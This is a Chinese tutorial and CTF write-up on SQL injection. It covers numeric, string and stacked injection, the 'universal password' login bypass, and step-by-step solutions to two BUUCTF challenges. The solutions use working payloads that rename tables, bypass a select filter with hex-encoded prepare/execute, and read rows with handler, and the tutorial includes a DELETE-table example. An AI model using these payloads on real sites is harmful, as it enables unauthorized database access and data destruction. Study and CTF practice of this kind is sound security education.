SQL注入专项整理(持续更新中)

news2025/1/14 18:13:29

深入了解SQL注入

什么是SQL注入?

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。(百度百科)
SQL注入是Web安全常见的一种攻击手段,其主要存在于数据库中,用来窃取重要信息,在输入框、搜索框、登录窗口、交互式等等都存在注入可能;是否是输入函数无法判断其输入的合法性并将其作为PHP等语言代码来执行,或整体逻辑出现缺陷,或关键字关键命令关键字符没过滤全,包括编码加密命令是否进行了过滤,这些种种环节的防护不严都将导致SQL注入的成功。(本人拙见)

SQL注入按照注入点类型来分可以分为常见的三大类:

  1. 数字型注入:当输入的参数为整型的时候,如果存在注入漏洞,则可以认为是数字型注入。

select * from BaiMao where id='1'

  1. 字符型注入:和数字型恰恰相反,当输入的参数为字符串的时候,如果存在注入漏洞,则可以认为是字符型注入,不同的一点是,数字型注入参数需要闭合,而字符型注入参数不需要闭合。

select * from BaiMao where id=' 1' '

  1. 搜索型注入:网站具有搜索功能,但开发人员忽略了对变量、关键字、命令的过滤,从而导致了注入可能,也可以称为文本框注入。

常见注入手法分类:

基于从服务器接收到的响应
基于报错的SQL注入
联合查询注入
堆查询注入
SQL盲注
基于布尔SQL盲注
基于时间SQL盲注
基于报错SQL盲注
基于程度和顺序的注入
一阶注入
二阶注入
一阶注射是指输入的注射语句对 WEB 直接产生了影响,出现了结果;二阶注入类似存
储型 XSS,是指输入提交的语句,无法直接对 WEB 应用程序产生影响,通过其它的辅助间
接的对 WEB 产生危害,这样的就被称为是二阶注入.
基于注入点的位置
通关用户输入的单表域注射
通过cookie注射
通关服务器变量注射(基于头部信息的注入)
此处参考博客:https://blog.csdn.net/m0_46571665/article/details/124946824?spm=1001.2014.3001.5506

万能密码实验原理

用户进行登陆验证的时候,就会对其用户名和密码参数进行验证,而验证的过程就是网站需要查询数据库,而查询数据库的本质就是后台要执行SQL语句。
咱们可以测试一下,原来后台执行的数据库查询操作(SQL语句):
select username,password from BaiMao where username='用户名' and password='密码'
由于网站后台在进行数据库查询的时候没有对单引号进行过滤,或者说是过滤不严,当输入用户名【admin】和万能密码【1’ or ‘1’='1】的时候,执行的SQL语句为:
select username,password from BaiMao where username='admin' and password=' 1' or '1'='1 '
再者SQL语句中逻辑运算符具有优先级,【=】>【and】>【or】,且适用传递性,因此这个SQL语句在后台进行解析时,分成了两句,(【注意】1’时字符型注入,所以可以只看这 or ‘1’=‘1)
select username,password from BaiMao where username='admin' and password=' 1 '和【’ 1 '】,两句bool(布尔类型)值进行逻辑or运算,恒为true,SQL查询语句的结果就为true,这就意味着认证成功,成功登录到系统当中。

【例题:】buuctf [极客大挑战 2019]EasySQL 1

网页环境
image.png
可以看到是一个登录窗口,题目已经说了是SQL注入
首先试一下弱口令,admin,123
image.png
提示用户名密码错了
既然是第一道题,那应该是很简单了
判断是数字型还是字符型

  1. 数字型

and 1=1 回显正常
and 1=2 返回异常,存在数字型注入可能

  1. 字符型

1 返回正常
1' 返回异常,存在字符型注入可能
经过测试,发现username和password两个参数都可以分别注入和同时注入
构造payload
url?usename=1'&password=1'
image.png
回显报错,存在SQL字符型注入
小试一下万能密码注入
构造payload
url?usename=1' or '1'='1&password=1' or '1'='1
回显flag
image.png

字符型注入和堆叠查询手法原理

堆叠注入原理

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
参考:https://blog.csdn.net/qq_26406447/article/details/90643951

【例题】buuctf[强网杯 2019]随便注 1

第一种解法 堆叠注入

网页环境
image.png
判断是否是字符型注入
1'
image.png
判断是否存在关键字过滤
select
image.png
联合查询被过滤,只能用堆叠注入了
查看有几个字段
1' order by 2#
image.png
正常回显
1' order by 3#image.png
回显报错,可以看出只有两个字段
查看所有数据库
1'; show databases;
image.png
查看所有数据表
1'; show tables;
image.png
爆words数据表的字段
1';show columns from words;#image.png
爆1919810931114514数据表字段(注意数据表为数字的时候需要用反引号括起来)
1';show columns from 1919810931114514;#
image.png
可以看到这两个表words表有两个字段,而另一个只有一个字段
后台SQL查询语句应该是:
select * from words where id=
所以说只能先查询id字段,然而另一个表只有一个flag字段是肯定爆不了flag的,并且类型为varchar字符串类型,而恰巧words数据表里面的data也是varchar类型,因此从这里就可以得到做题思路,通过rename函数进行改表,把1919810931114514改为words,增加新字段id,将flag改为data,将刚开始那个words表改为其他任意表。
构造payload:
1';rename table words to BaiMao;rename table 1919810931114514 to words;alter table words add id int unsigned not NULL auto_increment primary key;alter table words change flag data varchar(100);#

rename修改表名
alter修改已知的列
add增加
int整数类型
unsigned无符号类型
not null- 指示某列不能存储 NULL 值。
primary key - NOT NULL 和 UNIQUE 的结合。指定主键,确保某列(或多个列的结合)有唯一标识,每个表有且只有一个主键。
auto_increment-自动赋值,默认从1开始。

成功回显flag:
image.png
注意没有回显flag,就类似于你更新了个东西但是没刷新,重新在文本框里面输入1提交即可回显flag。

第二种解法 编码逃逸 绕过滤

由于select被过滤,考虑使用编码进行绕过
使用select查询就很简单了
构造payload
select *from where 1919810931114514``
*号查询数据表里面的全部内容,这就是爆出flag的原理
进行16进制编码加密
73656c656374202a2066726f6d206020313931393831303933313131343531342060
最终payload:
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

  • prepare…from…是预处理语句,会进行编码转换。
  • execute用来执行由SQLPrepare创建的SQL语句。
  • SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。

参考:https://blog.csdn.net/qq_44657899/article/details/10323914

回显flag:
image.png

第三种解法 handler代替select

select命令被过滤了怎么办?我们还可以用handler命令进行查看,handler命令可以一行一行的显示数据表中的内容。
构造payload:
1'; handler 1919810931114514open asa; handler a read next;#

handler代替select,以一行一行显示内容
open打开表
as更改表的别名为a
read next读取数据文件内的数据次数

上传payload,回显flag:
image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1127583.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【LeetCode:1155. 掷骰子等于目标和的方法数 | 递归->缓存->dp】

🚀 算法题 🚀 🌲 算法刷题专栏 | 面试必备算法 | 面试高频算法 🍀 🌲 越难的东西,越要努力坚持,因为它具有很高的价值,算法就是这样✨ 🌲 作者简介:硕风和炜,…

查网站域名历史,查域名有没有灰记录,查域名有多少外链的好工具

作为一位建站达人,我一直在寻找高效的网络查询和管理工具。桔子是我近期发现的两款非常实用的浏览器和网站排名查询工具。它们不仅可以帮助我更好地了解域名的外链情况,还支持建立米表和进行网站排名查询。下面,我将详细介绍如何使用这款工具…

【clickhouse】一个性能问题,把一个中间件从头到位翻了个遍

现象 团队在前期引入了clickhouse,业务上端口进行审计,每天的数据量很大,测试小伙伴在测试的时候,使用pcap回放,将千兆带宽几乎跑满,出现每天大概一亿的数据量,导致界面实时查询很慢&#xff0…

分享42个ASP.NET源码总有一个是你想要的

分享42个ASP.NET源码总有一个是你想要的 链接:https://pan.baidu.com/s/1pLbe0hci2PX3IjtxGTDhMw?pwd8888 提取码:8888 项目名称 Asp.Net Core Api项目集成Azure AD实现认证授权 ASP.NET Core 帖子项目 asp.net core 微服务项目 ASP.NET Core 项目…

Spring Security认证源码解析(示意图)

建议先看完Spring Security总体架构介绍和Spring Security认证架构介绍,然后从FilterChainProxy的doFilterInternal函数开始,配合文章进行debug以理解Spring Security认证源码的执行流程。 在之前的Spring Security认证架构介绍中,我们已经知…

C算法:不使用第三变量,实现两数交换

写一个函数实现两数交换&#xff0c;要求不使用第三个变量。 输入样例&#xff1a; 14 16 输出样例&#xff1a; 16 14 代码实现&#xff1a; #include<stdio.h>int main() {int a,b;printf("please input two num:\n"); scanf("%d%d",&…

C# 使用waveIn实现声音采集

文章目录 前言一、需要的对象及方法二、整体流程三、关键实现1、使用Thread开启线程2、TaskCompletionSource实现异步3、将指针封装为Stream 四、完整代码1.接口2.具体实现 五、使用示例方式一方式二 总结 前言 之前实现了《C 使用waveIn实现声音采集》&#xff0c;后来C#项目…

Ubuntu 命令行设置静态IP地址方法

一、先ifconfig查看电脑的网卡信息 找到有线网络或WiFi网络的网卡名称&#xff0c;我这里是eno1 二、输入route -n命令&#xff0c;打印路由表&#xff0c;这里主要是为了查看网关地址 我这里网关地址是192.168.10.1 三、更改配置文件 输入 vim /etc/network/interfaces&am…

企业一般纳税人查询API:简化税务信息获取的利器

前言 随着数字化时代的到来&#xff0c;企业纳税和财务管理领域也经历了革命性的变化。税务管理不再是繁琐的手动工作&#xff0c;而是通过技术工具实现高效和精确。其中&#xff0c;企业一般纳税人查询API成为了企业税务信息获取的强大利器。这一工具不仅简化了税务信息的访问…

微信公众号怎么添加送餐外卖系统

在当今快节奏的生活中&#xff0c;外卖已经成为了人们解决日常饮食需求的重要方式。微信公众号作为一个拥有广泛用户群体的平台&#xff0c;加入送餐外卖系统可以为公众号持有者带来更多的商业机会和用户便利。本文将介绍如何在微信公众号中添加送餐外卖系统&#xff0c;提升公…

系统设计 - 我们如何通俗的理解那些技术的运行原理 - 第七部分:Git、云服务、生产力工具

本心、输入输出、结果 文章目录 系统设计 - 我们如何通俗的理解那些技术的运行原理 - 第七部分&#xff1a;Git、云服务、生产力工具前言Git &#xff1a;Git 命令的工作原理Git 如何工作Git merge vs. Git rebaseGit mergeGit rebaseGit rebaes 的黄金法则 云服务 : 不同云服务…

【C++】网络在线五子棋

项目介绍 本项目主要实现⼀个网页版的五⼦棋对战游戏&#xff0c;其主要⽀持以下核心功能&#xff1a; • 用户管理&#xff1a;实现用户注册&#xff0c;用户登录、获取用户信息、用户天梯分数记录、用户比赛场次记录等 • 匹配对战&#xff1a;实现两个玩家在网页端根据天梯分…

C++前缀和算法的应用:石头游戏 VIII 原理源码测试用例

本文涉及的基础知识点 C算法&#xff1a;前缀和、前缀乘积、前缀异或的原理、源码及测试用例 包括课程视频 题目 Alice 和 Bob 玩一个游戏&#xff0c;两人轮流操作&#xff0c; Alice 先手 。 总共有 n 个石子排成一行。轮到某个玩家的回合时&#xff0c;如果石子的数目 大…

ACM练习C++知识点笔记

1、字符和数字的转换 #include<iostream> using namespace std; int main(){int n 8 - 48;cout<<n<<endl;return 0; } 数字转字符串 #include <string> #include <sstream> #include <iostream> using namespace std; int main() {doubl…

基于Django开发的推荐系统与数据分析系统

基于Django开发的推荐系统与数据分析系统 一、简介 已开发的的推荐系统&#xff1a;图书管理系统、电影推荐系统、在线选修课程推荐系统、健身推荐系统、资讯推荐系统&#xff1b; 已开发的数据分析系统&#xff1a;大众点评店铺数据分析系统。 推荐系统的目的是信息过载所…

rockchip 3588 HDMI avmute

概述 HDMI (High-Definition Multimedia Interface) 是一种数字接口标准&#xff0c;用于传输高清视频和多通道音频信号。AVMUTE 是 HDMI 规范中的一个术语&#xff0c;表示"Audio-Video Mute"&#xff08;音视频静音&#xff09;。AVMUTE 通常与 HDMI 设备的音频和…

提高Java程序性能!了解可达性分析算法、强软弱虚引用和三色标记GC的过程,避免不可达对象阻碍程序性能!

文章目录 &#x1f34a; 可达性分析算法&#x1f34a; 强软弱虚引用&#x1f389; 强引用&#x1f389; 软引用&#x1f389; 弱引用&#x1f389; 虚引用 &#x1f34a; 不可达对象GC的过程&#x1f389; GC中不可达对象的回收过程&#x1f4dd; 1. 标记阶段&#x1f4dd; 2. …

远程IO模块物联网应用提高工业自动化生产效率

远程IO模块是一款常用于工业自动化领域的通讯设备&#xff0c;它可以实现远程监测&#xff0c;帮助企业更加有效地掌控生产状态&#xff0c;提高生产效率。远程IO模块的作用是将分散的输入输出信号集中管理&#xff0c;实现实时数据采集、传输与控制。 远程IO模块通过安装在设…

Windows / Ubuntu 连wifi,网线连接旭日X3派以共享网络

首先&#xff0c;PC电脑连好wifi Windows 找到【控制面板->网络和Internet->网络和共享中心->查看网络状态和任务->更改适配器设置】 找到WLAN&#xff0c;右键【属性->共享】勾上允许&#xff0c;然后【确定】。 Ubuntu 打开设置&#xff0c;找到有线设置…

2024SCI经验心得分享---如何在零基础、导师基本放养的情况下---发表自己的第一篇SCI(三区)经验分享篇

本期的经验分享&#xff0c;采访到了我的一位非常非常非常优秀的师妹&#xff0c;师妹于今年6月份投稿&#xff0c;10月份录用&#xff0c;历时四个月录用了自己的第一篇SCI&#xff08;三区&#xff09;的文章图像处理类的&#xff0c;同时师妹也取得了很多其他优秀的荣誉。 众…